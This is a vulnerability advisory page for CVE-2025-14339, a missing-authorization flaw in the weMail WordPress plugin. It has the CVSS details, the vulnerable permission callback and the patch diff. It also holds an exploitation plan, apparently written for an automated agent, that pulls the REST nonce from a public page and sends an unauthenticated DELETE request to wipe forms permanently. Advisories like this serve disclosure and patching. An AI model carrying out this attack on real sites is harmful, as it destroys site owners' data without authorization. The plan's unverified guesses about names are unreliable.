CVE-2025-14339

weMail <= 2.0.7 - Missing Authorization to Unauthenticated Form Deletion

mediumMissing Authorization
6.5
CVSS Score
6.5
CVSS Score
medium
Severity
2.0.8
Patched in
1d
Time to patch

Description

The weMail - Email Marketing, Lead Generation, Optin Forms, Email Newsletters, A/B Testing, and Automation plugin for WordPress is vulnerable to unauthorized form deletion in all versions up to, and including, 2.0.7. This is due to the `Forms::permission()` callback only validating the `X-WP-Nonce` header without checking user capabilities. Since the REST nonce is exposed to unauthenticated visitors via the `weMail` JavaScript object on pages with weMail forms, any unauthenticated user can permanently delete all weMail forms by extracting the nonce from the page source and sending a DELETE request to the forms endpoint.

CVSS Vector Breakdown

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:L
Attack Vector
Network
Attack Complexity
Low
Privileges Required
None
User Interaction
None
Scope
Unchanged
None
Confidentiality
Low
Integrity
Low
Availability

Technical Details

Affected versions<=2.0.7
PublishedFebruary 20, 2026
Last updatedFebruary 21, 2026
Affected pluginwemail

What Changed in the Fix

Changes introduced in v2.0.8

Loading patch diff...

Source Code

WordPress.org SVN
Research Plan
Unverified

# Exploitation Research Plan: CVE-2025-14339 weMail Form Deletion ## 1. Vulnerability Summary The **weMail** plugin for WordPress (versions <= 2.0.7) contains a missing authorization vulnerability in its REST API implementation. The `WeDevs\WeMail\Rest\Forms::permission()` callback, which protects …

Show full research plan

Exploitation Research Plan: CVE-2025-14339 weMail Form Deletion

1. Vulnerability Summary

The weMail plugin for WordPress (versions <= 2.0.7) contains a missing authorization vulnerability in its REST API implementation. The WeDevs\WeMail\Rest\Forms::permission() callback, which protects several sensitive endpoints (including form creation, updating, and deletion), only validates the X-WP-Nonce header against the standard wp_rest action. It fails to perform any capability checks (e.g., current_user_can('manage_options')).

Since the plugin exposes the wp_rest nonce to unauthenticated visitors via a global JavaScript object (weMail) on pages where weMail forms are embedded, any unauthenticated user can obtain this nonce and perform administrative actions on forms, specifically deleting all forms on the site.

2. Attack Vector Analysis

  • Endpoint: DELETE /wp-json/wemail/v1/forms
  • Method: DELETE
  • Authentication: Unauthenticated (requires a valid wp_rest nonce).
  • Vulnerable Component: includes/Rest/Forms.php, method permission.
  • Payload Parameters:
    • ids (array): A list of form IDs (strings/UUIDs) to delete.
    • soft_delete (boolean): If false, the forms are permanently deleted.
  • Preconditions: At least one weMail form must be published/visible on a public page to expose the nonce to a guest.

3. Code Flow

  1. Request Arrival: A DELETE request is sent to wemail/v1/forms.
  2. Authorization: The WordPress REST API calls the permission_callback registered in includes/Rest/Forms.php within register_routes():
    register_rest_route(
        $this->namespace,
        $this->rest_base,
        array(
            array(
                'methods'             => WP_REST_Server::DELETABLE,
                'permission_callback' => array( $this, 'permission' ),
                'callback'            => array( $this, 'destroy' ),
            ),
        )
    );
    
  3. Vulnerable Check: The permission() method is executed:
    public function permission( $request ) {
        $nonce = $request->get_header( 'X-WP-Nonce' );
    
        if ( $nonce && wp_verify_nonce( $nonce, 'wp_rest' ) ) {
            return true; // Vulnerability: No capability check here
        }
    
        return false;
    }
    
  4. Execution: If the nonce is valid for the wp_rest action (even for unauthenticated users), destroy() is called:
    public function destroy( $request ) {
        $ids         = $request->get_param( 'ids' );
        $soft_delete = $request->get_param( 'soft_delete' );
    
        wemail()->form->delete( $ids, wemail_validate_boolean( $soft_delete ) );
    
        return new WP_REST_Response( array( 'success' => true ) );
    }
    

4. Nonce Acquisition Strategy

The vulnerability description explicitly states the nonce is exposed via the weMail JavaScript object. To obtain a valid wp_rest nonce as an unauthenticated user:

  1. Identify Trigger: The plugin typically enqueues its frontend scripts (containing the nonce) when a form is rendered via a shortcode.
  2. Shortcode: Based on the plugin's documentation, the shortcode is likely [wemail_form id="ID"].
  3. Setup: Place a weMail form on a public post or page.
  4. Extraction:
    • Use browser_navigate to visit the page as a guest.
    • Use browser_eval to extract the nonce: browser_eval("weMail.nonce") or browser_eval("weMailData.nonce").
    • Note: In version 2.0.7, look for the localization call. It is likely localized as weMail or weMailData.

5. Exploitation Strategy

Step 1: Discover Form IDs

To delete forms, we need their IDs. If the IDs are unknown, they can be found by inspecting the HTML of the page where the form is rendered (look for data attributes or form classes containing a UUID-like string).

Step 2: Extract Nonce

Navigate to the page with the form and run:
extracted_nonce = browser_eval("weMail.nonce")

Step 3: Delete Forms

Send the malicious DELETE request using the http_request tool.

HTTP Request:

DELETE /wp-json/wemail/v1/forms?ids[]=FORM_ID_HERE&soft_delete=false HTTP/1.1
Host: TARGET_HOST
X-WP-Nonce: EXTRACTED_NONCE
Content-Type: application/json

Note: The ids parameter is processed via $request->get_param('ids'). For DELETE requests with a body, it's safer to provide parameters in the query string or ensure the REST server processes the JSON body for the DELETE method.

6. Test Data Setup

  1. Activate Plugin: Ensure weMail 2.0.7 is active.
  2. Create Forms: Use WP-CLI or the UI to create at least two test forms. Since form creation usually requires an API key connection to weMail's cloud service, we may need to mock the form existence in the database or use a test account if possible.
  3. Publish Form: Create a public post containing a weMail form shortcode:
    wp post create --post_type=post --post_status=publish --post_title="Contact" --post_content='[wemail_form id="test-form-123"]'
    
  4. Identify IDs: Note the IDs of the forms created.

7. Expected Results

  • Response: The server should return a 200 OK with the body {"success": true}.
  • Effect: The forms specified in the ids array should no longer exist in the plugin's form list.

8. Verification Steps

  1. UI Check: Navigate to the weMail Forms page in the WordPress admin dashboard and verify the forms are missing.
  2. Database/API Check: Use WP-CLI to check for the forms.
    # Since weMail stores forms in a way that might not be standard CPTs,
    # check the options table or specific wemail tables if they exist.
    wp db query "SELECT * FROM wp_options WHERE option_name LIKE 'wemail_forms%';"
    
  3. Frontend Check: Re-visit the public page. The form should no longer render or should show an error.

9. Alternative Approaches

If the DELETE method with a body is rejected by the server configuration, try passing the ids as multiple query parameters:
/wp-json/wemail/v1/forms?ids[]=id1&ids[]=id2&soft_delete=false

If the weMail.nonce variable is named differently, use browser_eval("window") and search for keys containing "nonce" or "wemail". Check includes/FrontEnd/FrontEnd.php or includes/FrontEnd/Scripts.php (if they exist) to see the exact localization key. Given the class map, check WeDevs\WeMail\FrontEnd\FrontEnd for where scripts are localized.

Research Findings
Static analysis — not yet PoC-verified

Summary

The weMail plugin for WordPress is vulnerable to missing authorization because its REST API permission callback for forms only validates a standard REST nonce without checking for specific user capabilities. Since this nonce is exposed to unauthenticated visitors via frontend JavaScript objects on pages with embedded forms, attackers can perform unauthorized actions such as deleting all forms on the site.

Vulnerable Code

// includes/Rest/Forms.php:124
public function permission( $request ) {
    $nonce = $request->get_header( 'X-WP-Nonce' );

    if ( $nonce && wp_verify_nonce( $nonce, 'wp_rest' ) ) {
        return true;
    }

    return false;
}

---

// includes/Rest/Forms.php:38
register_rest_route(
    $this->namespace,
    $this->rest_base,
    array(
        array(
            'methods'             => WP_REST_Server::DELETABLE,
            'permission_callback' => array( $this, 'permission' ),
            'callback'            => array( $this, 'destroy' ),
        ),
    )
);

Security Fix

--- /home/deploy/wp-safety.org/data/plugin-versions/wemail/2.0.7/includes/Rest/Forms.php	2024-10-08 06:46:46.000000000 +0000
+++ /home/deploy/wp-safety.org/data/plugin-versions/wemail/2.0.8/includes/Rest/Forms.php	2026-01-19 10:16:28.000000000 +0000
@@ -121,14 +121,36 @@
         );
     }
 
+    /**
+     * Permission callback for form endpoints
+     * Requires WordPress authentication, weMail role-based capability checks, and nonce verification
+     *
+     * @param \WP_REST_Request $request
+     *
+     * @return bool
+     */
     public function permission( $request ) {
-        $nonce = $request->get_header( 'X-WP-Nonce' );
+        // 1. Require WordPress authentication (user must be logged in)
+        if ( ! is_user_logged_in() ) {
+            return false;
+        }
+
+        // 2. Check user has appropriate weMail role-based capabilities
+        if ( ! function_exists( 'wemail' ) || ! method_exists( wemail(), 'user' ) ) {
+            return false;
+        }
 
-        if ( $nonce && wp_verify_nonce( $nonce, 'wp_rest' ) ) {
-            return true;
+        if ( ! wemail()->user->can( 'manage_form' ) ) {
+            return false;
+        }
+
+        // 3. Require nonce verification for CSRF protection
+        $nonce = $request->get_header( 'X-WP-Nonce' );
+        if ( ! $nonce || ! wp_verify_nonce( $nonce, 'wp_rest' ) ) {
+            return false;
         }
 
-        return false;
+        return true;
     }

Exploit Outline

To exploit this vulnerability, an unauthenticated attacker first visits a public page where a weMail form is rendered to obtain a valid REST nonce. This nonce is typically found in the global JavaScript object `weMail.nonce` localized into the page source. The attacker then identifies the target form IDs (often found in the HTML source) and sends a DELETE request to the `/wp-json/wemail/v1/forms` endpoint. The request must include the extracted nonce in the 'X-WP-Nonce' header and the target form IDs in the 'ids' array parameter. Because the server only checks the nonce and not the user's login status or capabilities, the forms are deleted as requested.

Check if your site is affected.

Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.